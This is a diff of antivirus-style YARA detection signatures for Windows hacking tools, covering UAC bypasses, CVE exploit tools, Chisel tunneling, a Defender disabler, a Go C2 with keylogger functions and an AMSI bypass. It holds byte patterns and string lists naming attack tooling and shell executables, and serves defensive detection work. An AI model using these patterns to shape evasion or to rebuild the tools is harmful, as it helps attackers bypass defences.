b/VirTool/Win32/UACBypassExp/VirTool_Win32_UACBypassExp_gen_B.yar index 6f9eca25a7..1bd0afff63 100644 --- a/VirTool/Win32/UACBypassExp/VirTool_Win32_UACBypassExp_gen_B.yar +++ b/VirTool/Win32/UACBypassExp/VirTool_Win32_UACBypassExp_gen_B.yar @@ -1,7 +1,7 @@ rule VirTool_Win32_UACBypassExp_gen_B{ meta: - description = "VirTool:Win32/UACBypassExp.gen!B,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 17 00 00 " + description = "VirTool:Win32/UACBypassExp.gen!B,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 18 00 00 " strings : $a_00_0 = {5c 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 00 00 } //1 @@ -18,16 +18,17 @@ rule VirTool_Win32_UACBypassExp_gen_B{ $a_00_11 = {5c 00 70 00 79 00 74 00 68 00 6f 00 6e 00 2e 00 65 00 78 00 65 00 00 00 } //1 $a_00_12 = {5c 00 70 00 79 00 74 00 68 00 6f 00 6e 00 77 00 2e 00 65 00 78 00 65 00 00 00 } //1 $a_00_13 = {5c 00 70 00 77 00 73 00 68 00 2e 00 65 00 78 00 65 00 00 00 } //1 - $a_00_14 = {64 00 64 00 62 00 66 00 39 00 62 00 30 00 35 00 2d 00 66 00 63 00 62 00 30 00 2d 00 34 00 66 00 63 00 65 00 2d 00 39 00 34 00 39 00 65 00 2d 00 61 00 36 00 61 00 65 00 38 00 39 00 39 00 61 00 62 00 32 00 37 00 33 00 } //-10 ddbf9b05-fcb0-4fce-949e-a6ae899ab273 - $a_00_15 = {43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 20 00 41 00 64 00 76 00 61 00 6e 00 63 00 65 00 64 00 20 00 54 00 68 00 72 00 65 00 61 00 74 00 20 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 00 69 00 6f 00 6e 00 5c 00 } //-10 C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection\ - $a_00_16 = {43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 } //-10 C:\Program Files - $a_00_17 = {43 00 3a 00 5c 00 57 00 49 00 4e 00 44 00 4f 00 57 00 53 00 5c 00 63 00 63 00 6d 00 63 00 61 00 63 00 68 00 65 00 5c 00 } //-10 C:\WINDOWS\ccmcache\ - $a_00_18 = {43 00 3a 00 5c 00 57 00 49 00 4e 00 44 00 4f 00 57 00 53 00 5c 00 43 00 43 00 4d 00 5c 00 } //-10 C:\WINDOWS\CCM\ - $a_00_19 = {5c 00 53 00 79 00 73 00 56 00 6f 00 6c 00 5c 00 } //-10 \SysVol\ - $a_00_20 = {5c 00 6e 00 65 00 74 00 6c 00 6f 00 67 00 6f 00 6e 00 5c 00 } //-10 \netlogon\ - $a_00_21 = {5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 41 00 54 00 50 00 4f 00 6e 00 62 00 6f 00 61 00 72 00 64 00 69 00 6e 00 67 00 53 00 63 00 72 00 69 00 70 00 74 00 } //-10 \WindowsDefenderATPOnboardingScript - $a_00_22 = {20 00 2d 00 4e 00 6f 00 6e 00 69 00 6e 00 74 00 65 00 72 00 61 00 63 00 74 00 69 00 76 00 65 00 20 00 } //-10 -Noninteractive + $a_02_14 = {63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 [0-10] 20 00 2d 00 2d 00 68 00 65 00 61 00 64 00 6c 00 65 00 73 00 73 00 20 00 } //1 + $a_00_15 = {64 00 64 00 62 00 66 00 39 00 62 00 30 00 35 00 2d 00 66 00 63 00 62 00 30 00 2d 00 34 00 66 00 63 00 65 00 2d 00 39 00 34 00 39 00 65 00 2d 00 61 00 36 00 61 00 65 00 38 00 39 00 39 00 61 00 62 00 32 00 37 00 33 00 } //-10 ddbf9b05-fcb0-4fce-949e-a6ae899ab273 + $a_00_16 = {43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 20 00 41 00 64 00 76 00 61 00 6e 00 63 00 65 00 64 00 20 00 54 00 68 00 72 00 65 00 61 00 74 00 20 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 00 69 00 6f 00 6e 00 5c 00 } //-10 C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection\ + $a_00_17 = {43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 } //-10 C:\Program Files + $a_00_18 = {43 00 3a 00 5c 00 57 00 49 00 4e 00 44 00 4f 00 57 00 53 00 5c 00 63 00 63 00 6d 00 63 00 61 00 63 00 68 00 65 00 5c 00 } //-10 C:\WINDOWS\ccmcache\ + $a_00_19 = {43 00 3a 00 5c 00 57 00 49 00 4e 00 44 00 4f 00 57 00 53 00 5c 00 43 00 43 00 4d 00 5c 00 } //-10 C:\WINDOWS\CCM\ + $a_00_20 = {5c 00 53 00 79 00 73 00 56 00 6f 00 6c 00 5c 00 } //-10 \SysVol\ + $a_00_21 = {5c 00 6e 00 65 00 74 00 6c 00 6f 00 67 00 6f 00 6e 00 5c 00 } //-10 \netlogon\ + $a_00_22 = {5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 41 00 54 00 50 00 4f 00 6e 00 62 00 6f 00 61 00 72 00 64 00 69 00 6e 00 67 00 53 00 63 00 72 00 69 00 70 00 74 00 } //-10 \WindowsDefenderATPOnboardingScript + $a_00_23 = {20 00 2d 00 4e 00 6f 00 6e 00 69 00 6e 00 74 00 65 00 72 00 61 00 63 00 74 00 69 00 76 00 65 00 20 00 } //-10 -Noninteractive condition: - ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*-10+(#a_00_15 & 1)*-10+(#a_00_16 & 1)*-10+(#a_00_17 & 1)*-10+(#a_00_18 & 1)*-10+(#a_00_19 & 1)*-10+(#a_00_20 & 1)*-10+(#a_00_21 & 1)*-10+(#a_00_22 & 1)*-10) >=1 + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_02_14 & 1)*1+(#a_00_15 & 1)*-10+(#a_00_16 & 1)*-10+(#a_00_17 & 1)*-10+(#a_00_18 & 1)*-10+(#a_00_19 & 1)*-10+(#a_00_20 & 1)*-10+(#a_00_21 & 1)*-10+(#a_00_22 & 1)*-10+(#a_00_23 & 1)*-10) >=1 } \ No newline at end of file diff --git a/VirTool/Win32/UACBypassExp/VirTool_Win32_UACBypassExp_gen_C.yar b/VirTool/Win32/UACBypassExp/VirTool_Win32_UACBypassExp_gen_C.yar index 2738c0078a..1ed9c35667 100644 --- a/VirTool/Win32/UACBypassExp/VirTool_Win32_UACBypassExp_gen_C.yar +++ b/VirTool/Win32/UACBypassExp/VirTool_Win32_UACBypassExp_gen_C.yar @@ -1,7 +1,7 @@ rule VirTool_Win32_UACBypassExp_gen_C{ meta: - description = "VirTool:Win32/UACBypassExp.gen!C,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 14 00 00 " + description = "VirTool:Win32/UACBypassExp.gen!C,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 15 00 00 " strings : $a_00_0 = {5c 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 00 00 } //1 @@ -15,16 +15,17 @@ rule VirTool_Win32_UACBypassExp_gen_C{ $a_00_8 = {5c 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 00 00 } //1 $a_00_9 = {5c 00 72 00 65 00 67 00 73 00 76 00 72 00 33 00 32 00 2e 00 65 00 78 00 65 00 00 00 } //1 $a_00_10 = {5c 00 70 00 77 00 73 00 68 00 2e 00 65 00 78 00 65 00 00 00 } //1 - $a_00_11 = {36 00 61 00 62 00 33 00 33 00 65 00 36 00 31 00 2d 00 34 00 31 00 63 00 33 00 2d 00 34 00 62 00 37 00 30 00 2d 00 62 00 36 00 34 00 64 00 2d 00 39 00 61 00 31 00 64 00 31 00 62 00 34 00 38 00 61 00 62 00 62 00 63 00 } //-10 6ab33e61-41c3-4b70-b64d-9a1d1b48abbc - $a_00_12 = {43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 20 00 41 00 64 00 76 00 61 00 6e 00 63 00 65 00 64 00 20 00 54 00 68 00 72 00 65 00 61 00 74 00 20 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 00 69 00 6f 00 6e 00 5c 00 } //-10 C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection\ - $a_00_13 = {43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 } //-10 C:\Program Files - $a_00_14 = {43 00 3a 00 5c 00 57 00 49 00 4e 00 44 00 4f 00 57 00 53 00 5c 00 63 00 63 00 6d 00 63 00 61 00 63 00 68 00 65 00 5c 00 } //-10 C:\WINDOWS\ccmcache\ - $a_00_15 = {43 00 3a 00 5c 00 57 00 49 00 4e 00 44 00 4f 00 57 00 53 00 5c 00 43 00 43 00 4d 00 5c 00 } //-10 C:\WINDOWS\CCM\ - $a_00_16 = {5c 00 53 00 79 00 73 00 56 00 6f 00 6c 00 5c 00 } //-10 \SysVol\ - $a_00_17 = {5c 00 6e 00 65 00 74 00 6c 00 6f 00 67 00 6f 00 6e 00 5c 00 } //-10 \netlogon\ - $a_00_18 = {5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 41 00 54 00 50 00 4f 00 6e 00 62 00 6f 00 61 00 72 00 64 00 69 00 6e 00 67 00 53 00 63 00 72 00 69 00 70 00 74 00 } //-10 \WindowsDefenderATPOnboardingScript - $a_00_19 = {20 00 2d 00 4e 00 6f 00 6e 00 69 00 6e 00 74 00 65 00 72 00 61 00 63 00 74 00 69 00 76 00 65 00 20 00 } //-10 -Noninteractive + $a_02_11 = {63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 [0-10] 20 00 2d 00 2d 00 68 00 65 00 61 00 64 00 6c 00 65 00 73 00 73 00 20 00 } //1 + $a_00_12 = {36 00 61 00 62 00 33 00 33 00 65 00 36 00 31 00 2d 00 34 00 31 00 63 00 33 00 2d 00 34 00 62 00 37 00 30 00 2d 00 62 00 36 00 34 00 64 00 2d 00 39 00 61 00 31 00 64 00 31 00 62 00 34 00 38 00 61 00 62 00 62 00 63 00 } //-10 6ab33e61-41c3-4b70-b64d-9a1d1b48abbc + $a_00_13 = {43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 20 00 41 00 64 00 76 00 61 00 6e 00 63 00 65 00 64 00 20 00 54 00 68 00 72 00 65 00 61 00 74 00 20 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 00 69 00 6f 00 6e 00 5c 00 } //-10 C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection\ + $a_00_14 = {43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 } //-10 C:\Program Files + $a_00_15 = {43 00 3a 00 5c 00 57 00 49 00 4e 00 44 00 4f 00 57 00 53 00 5c 00 63 00 63 00 6d 00 63 00 61 00 63 00 68 00 65 00 5c 00 } //-10 C:\WINDOWS\ccmcache\ + $a_00_16 = {43 00 3a 00 5c 00 57 00 49 00 4e 00 44 00 4f 00 57 00 53 00 5c 00 43 00 43 00 4d 00 5c 00 } //-10 C:\WINDOWS\CCM\ + $a_00_17 = {5c 00 53 00 79 00 73 00 56 00 6f 00 6c 00 5c 00 } //-10 \SysVol\ + $a_00_18 = {5c 00 6e 00 65 00 74 00 6c 00 6f 00 67 00 6f 00 6e 00 5c 00 } //-10 \netlogon\ + $a_00_19 = {5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 41 00 54 00 50 00 4f 00 6e 00 62 00 6f 00 61 00 72 00 64 00 69 00 6e 00 67 00 53 00 63 00 72 00 69 00 70 00 74 00 } //-10 \WindowsDefenderATPOnboardingScript + $a_00_20 = {20 00 2d 00 4e 00 6f 00 6e 00 69 00 6e 00 74 00 65 00 72 00 61 00 63 00 74 00 69 00 76 00 65 00 20 00 } //-10 -Noninteractive condition: - ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*-10+(#a_00_12 & 1)*-10+(#a_00_13 & 1)*-10+(#a_00_14 & 1)*-10+(#a_00_15 & 1)*-10+(#a_00_16 & 1)*-10+(#a_00_17 & 1)*-10+(#a_00_18 & 1)*-10+(#a_00_19 & 1)*-10) >=1 + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_02_11 & 1)*1+(#a_00_12 & 1)*-10+(#a_00_13 & 1)*-10+(#a_00_14 & 1)*-10+(#a_00_15 & 1)*-10+(#a_00_16 & 1)*-10+(#a_00_17 & 1)*-10+(#a_00_18 & 1)*-10+(#a_00_19 & 1)*-10+(#a_00_20 & 1)*-10) >=1 } \ No newline at end of file diff --git a/VirTool/Win64/AdaptiveChameleon/VirTool_Win64_AdaptiveChameleon_B.yar b/VirTool/Win64/AdaptiveChameleon/VirTool_Win64_AdaptiveChameleon_B.yar new file mode 100644 index 0000000000..ba1399a362 --- /dev/null +++ b/VirTool/Win64/AdaptiveChameleon/VirTool_Win64_AdaptiveChameleon_B.yar @@ -0,0 +1,12 @@ + +rule VirTool_Win64_AdaptiveChameleon_B{ + meta: + description = "VirTool:Win64/AdaptiveChameleon.B,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_03_0 = {8b 10 0f ca 89 d1 48 8b 44 24 28 48 8b 5c 24 30 e8 ?? ?? ?? ?? 48 83 c4 18 5d } //1 + $a_03_1 = {48 8b 08 48 8b 44 24 58 48 8b 5c 24 40 41 b8 ?? ?? ?? ?? e8 } //1 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/VirTool/Win64/CVE-2024-21338/VirTool_Win64_CVE-2024-21338_A.yar b/VirTool/Win64/CVE-2024-21338/VirTool_Win64_CVE-2024-21338_A.yar new file mode 100644 index 0000000000..91daf5ca8e --- /dev/null +++ b/VirTool/Win64/CVE-2024-21338/VirTool_Win64_CVE-2024-21338_A.yar @@ -0,0 +1,12 @@ + +rule VirTool_Win64_CVE-2024-21338_A{ + meta: + description = "VirTool:Win64/CVE-2024-21338.A,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_03_0 = {ba 0a 00 00 00 48 8b 4c 24 68 ff ?? ?? ?? ?? ?? 85 c0 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 89 44 24 28 c7 44 24 20 02 00 00 00 41 b9 02 00 00 00 45 33 c0 ba 00 00 00 02 48 8b 8c 24 c8 01 00 00 ff } //1 + $a_03_1 = {48 33 c4 48 89 84 24 c0 00 00 00 c7 44 24 30 00 00 00 00 48 c7 84 24 a0 00 00 00 00 00 00 00 48 c7 84 24 a8 00 00 00 00 00 00 00 48 c7 44 24 38 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? 48 89 84 24 b0 00 00 00 ?? ?? ?? ?? ?? ?? ?? 48 89 84 24 b8 00 00 00 ff } //1 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/VirTool/Win64/CVE-2025-21333/VirTool_Win64_CVE-2025-21333_A.yar b/VirTool/Win64/CVE-2025-21333/VirTool_Win64_CVE-2025-21333_A.yar new file mode 100644 index 0000000000..068b026f58 --- /dev/null +++ b/VirTool/Win64/CVE-2025-21333/VirTool_Win64_CVE-2025-21333_A.yar @@ -0,0 +1,13 @@ + +rule VirTool_Win64_CVE-2025-21333_A{ + meta: + description = "VirTool:Win64/CVE-2025-21333.A,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_03_0 = {33 c9 4c 89 74 24 60 ba 00 50 00 00 41 b8 00 30 00 00 ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 48 8b c8 48 ?? ?? ?? ?? ?? ?? ba 00 50 00 00 ff } //1 + $a_03_1 = {45 33 c0 44 89 74 24 30 c7 44 24 28 00 10 00 00 41 b9 ff 00 00 00 c7 44 24 20 00 10 00 00 ?? ?? ?? ?? ff } //1 + $a_01_2 = {c7 01 00 00 05 03 c7 41 04 57 6e 66 20 48 89 59 08 } //1 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/VirTool/Win64/CVE-2025-24054/VirTool_Win64_CVE-2025-24054_B.yar b/VirTool/Win64/CVE-2025-24054/VirTool_Win64_CVE-2025-24054_B.yar new file mode 100644 index 0000000000..0c58d2900a --- /dev/null +++ b/VirTool/Win64/CVE-2025-24054/VirTool_Win64_CVE-2025-24054_B.yar @@ -0,0 +1,13 @@ + +rule VirTool_Win64_CVE-2025-24054_B{ + meta: + description = "VirTool:Win64/CVE-2025-24054.B,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {65 78 70 6c 6f 69 74 2e 7a 69 70 } //1 exploit.zip + $a_01_1 = {5c 5c 7a 82 5c 73 68 61 72 65 64 } //1 + $a_01_2 = {5a 69 70 46 69 6c 65 da 0c 5a 49 50 5f 44 45 46 4c 41 54 45 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/VirTool/Win64/CVE-2025-48799/VirTool_Win64_CVE-2025-48799_B.yar b/VirTool/Win64/CVE-2025-48799/VirTool_Win64_CVE-2025-48799_B.yar new file mode 100644 index 0000000000..62d1b8b049 --- /dev/null +++ b/VirTool/Win64/CVE-2025-48799/VirTool_Win64_CVE-2025-48799_B.yar @@ -0,0 +1,12 @@ + +rule VirTool_Win64_CVE-2025-48799_B{ + meta: + description = "VirTool:Win64/CVE-2025-48799.B,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_03_0 = {48 89 45 97 ba 01 00 00 00 ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 45 33 c9 45 33 c0 ?? ?? ?? ?? 48 ?? ?? ?? ff ?? ?? ?? ?? ?? c7 45 9f 18 00 00 00 ?? ?? ?? ?? 48 89 45 a7 33 f6 89 75 af ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ff } //1 + $a_03_1 = {48 83 7d f7 07 4c 0f 47 4d df 48 89 74 24 28 89 74 24 20 ?? ?? ?? ?? ?? ?? ?? 33 d2 33 c9 ff ?? ?? ?? ?? ?? 0f 57 c0 0f 11 45 b7 48 89 75 c7 48 c7 45 cf 07 00 00 00 66 89 75 b7 48 89 74 24 38 48 89 74 24 30 ?? ?? ?? ?? 48 89 44 24 28 c7 44 24 20 01 00 00 00 45 33 c9 41 b8 00 00 10 00 49 8b d6 49 8b cf ff } //1 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/VirTool/Win64/Chisel/VirTool_Win64_Chisel_G.yar b/VirTool/Win64/Chisel/VirTool_Win64_Chisel_G.yar index d15805f399..dc2f768631 100644 --- a/VirTool/Win64/Chisel/VirTool_Win64_Chisel_G.yar +++ b/VirTool/Win64/Chisel/VirTool_Win64_Chisel_G.yar @@ -1,14 +1,15 @@ rule VirTool_Win64_Chisel_G{ meta: - description = "VirTool:Win64/Chisel.G,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + description = "VirTool:Win64/Chisel.G,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 05 00 00 " strings : - $a_01_0 = {2e 67 65 6e 65 72 61 74 65 50 69 64 46 69 6c 65 } //1 .generatePidFile - $a_01_1 = {43 48 49 53 45 4c 5f 4b 45 59 } //1 CHISEL_KEY - $a_01_2 = {63 68 69 73 65 6c 2e 70 69 64 } //1 chisel.pid + $a_01_0 = {6a 70 69 6c 6c 6f 72 61 2f 63 68 69 73 65 6c } //5 jpillora/chisel + $a_01_1 = {43 48 49 53 45 4c 5f 4b 45 59 } //5 CHISEL_KEY + $a_01_2 = {63 68 69 73 65 6c 2e 70 69 64 } //5 chisel.pid $a_01_3 = {63 6c 69 65 6e 74 2e 66 75 6e 63 31 } //1 client.func1 + $a_01_4 = {2e 47 65 6e 65 72 61 74 65 4b 65 79 } //1 .GenerateKey condition: - ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*5+(#a_01_2 & 1)*5+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=16 } \ No newline at end of file diff --git a/VirTool/Win64/Defnot/VirTool_Win64_Defnot_A.yar b/VirTool/Win64/Defnot/VirTool_Win64_Defnot_A.yar new file mode 100644 index 0000000000..857d6f6516 --- /dev/null +++ b/VirTool/Win64/Defnot/VirTool_Win64_Defnot_A.yar @@ -0,0 +1,13 @@ + +rule VirTool_Win64_Defnot_A{ + meta: + description = "VirTool:Win64/Defnot.A,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 00 " + + strings : + $a_03_0 = {33 d2 8b cb ff ?? ?? ?? ?? ?? 48 8b c8 48 89 07 48 83 f8 ff 0f 95 c0 88 47 08 ?? ?? 48 c7 44 24 20 02 00 00 00 45 33 c9 45 33 c0 8b d3 ff } //10 + $a_03_1 = {10 e4 00 4f 08 00 80 92 e9 03 80 52 e9 01 a0 72 01 00 80 52 ?? 42 00 ad 6a 02 40 39 88 02 00 f9 48 00 80 52 9f 22 00 39 9f 0a 00 f9 5f 09 00 71 8a 62 00 39 29 01 88 1a 9f 66 00 39 5f 01 00 71 88 00 80 52 13 01 89 1a ?? ?? ?? ?? 02 ?? ?? ?? e8 ?? ?? ?? 08 ?? ?? ?? e0 03 13 2a 00 01 3f d6 1f 04 00 b1 80 02 00 f9 e8 07 9f 1a 88 22 00 39 1f 04 00 b1 ?? ?? ?? ?? e8 } //10 + $a_01_2 = {64 65 66 65 6e 64 65 72 2d 64 69 73 61 62 6c 65 72 2d 69 70 63 } //1 defender-disabler-ipc + condition: + ((#a_03_0 & 1)*10+(#a_03_1 & 1)*10+(#a_01_2 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/VirTool/Win64/Defnotldr/VirTool_Win64_Defnotldr_A.yar b/VirTool/Win64/Defnotldr/VirTool_Win64_Defnotldr_A.yar new file mode 100644 index 0000000000..73a1b7c118 --- /dev/null +++ b/VirTool/Win64/Defnotldr/VirTool_Win64_Defnotldr_A.yar @@ -0,0 +1,14 @@ + +rule VirTool_Win64_Defnotldr_A{ + meta: + description = "VirTool:Win64/Defnotldr.A,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_03_0 = {6f 76 65 72 77 72 69 74 69 6e 67 20 [0-05] 2e 62 69 6e } //1 + $a_01_1 = {64 65 66 65 6e 64 6e 6f 74 } //1 defendnot + $a_01_2 = {2d 66 72 6f 6d 2d 61 75 74 6f 72 75 6e } //1 -from-autorun + $a_01_3 = {2d 2d 76 65 72 62 6f 73 65 } //1 --verbose + condition: + ((#a_03_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/VirTool/Win64/GoclpC2/VirTool_Win64_GoclpC2_A.yar b/VirTool/Win64/GoclpC2/VirTool_Win64_GoclpC2_A.yar new file mode 100644 index 0000000000..759260d706 --- /dev/null +++ b/VirTool/Win64/GoclpC2/VirTool_Win64_GoclpC2_A.yar @@ -0,0 +1,17 @@ + +rule VirTool_Win64_GoclpC2_A{ + meta: + description = "VirTool:Win64/GoclpC2.A,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_01_0 = {2e 65 78 65 63 75 74 65 43 6f 6d 6d 61 6e 64 } //1 .executeCommand + $a_01_1 = {2e 67 65 74 50 72 6f 63 65 73 73 4c 69 73 74 } //1 .getProcessList + $a_01_2 = {2e 4e 65 77 43 6c 69 65 6e 74 } //1 .NewClient + $a_01_3 = {2e 4e 65 77 4b 65 79 6c 6f 67 67 65 72 } //1 .NewKeylogger + $a_01_4 = {2e 64 65 74 65 63 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 } //1 .detectEnvironment + $a_01_5 = {2e 74 65 73 74 43 6c 69 70 62 6f 61 72 64 52 65 64 69 72 65 63 74 69 6f 6e } //1 .testClipboardRedirection + $a_01_6 = {2e 63 61 70 74 75 72 65 53 63 72 65 65 6e 73 68 6f 74 } //1 .captureScreenshot + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/VirTool/Win64/HBPAmsibyp/VirTool_Win64_HBPAmsibyp_A.yar b/VirTool/Win64/HBPAmsibyp/VirTool_Win64_HBPAmsibyp_A.yar new file mode 100644 index 0000000000..3cce66c9b4 --- /dev/null +++ b/VirTool/Win64/HBPAmsibyp/VirTool_Win64_HBPAmsibyp_A.yar @@ -0,0 +1,12 @@ + +rule VirTool_Win64_HBPAmsibyp_A{ + meta: + description = "VirTool:Win64/HBPAmsibyp.A,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {48 8b 01 48 8b f1 bd 01 00 00 00 81 38 04 00 00 80 } //1 + $a_03_1 = {48 8b 83 98 00 00 00 48 8b 50 30 ?? ?? ?? ?? ?? ?? ?? c7 02 00 00 00 00 81 4b 44 00 00 01 00 48 89 83 f8 00 00 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/VirTool/Win64/Hijkthrd/VirTool_Win64_Hijkthrd_A.yar b/VirTool/Win64/Hijkthrd/VirTool_Win64_Hijkthrd_A.yar new file mode 100644 index 0000000000..9b938d8bc8 --- /dev/null +++ b/VirTool/Win64/Hijkthrd/VirTool_Win64_Hijkthrd_A.yar @@ -0,0 +1,12 @@ + +rule VirTool_Win64_Hijkthrd_A{ + meta: + description = "VirTool:Win64/Hijkthrd.A,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {50 51 52 53 55 56 57 41 50 41 51 41 52 41 53 41 54 41 55 41 56 41 57 e8 1f 00 00 00 41 5f 41 5e 41 5d 41 5c 41 5b 41 5a 41 59 41 58 5f 5e 5d 5b 5a 59 58 66 9d ff 25 bb ff ff ff } //1 + $a_01_1 = {56 48 8b f4 48 83 e4 f0 48 83 ec 20 e8 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 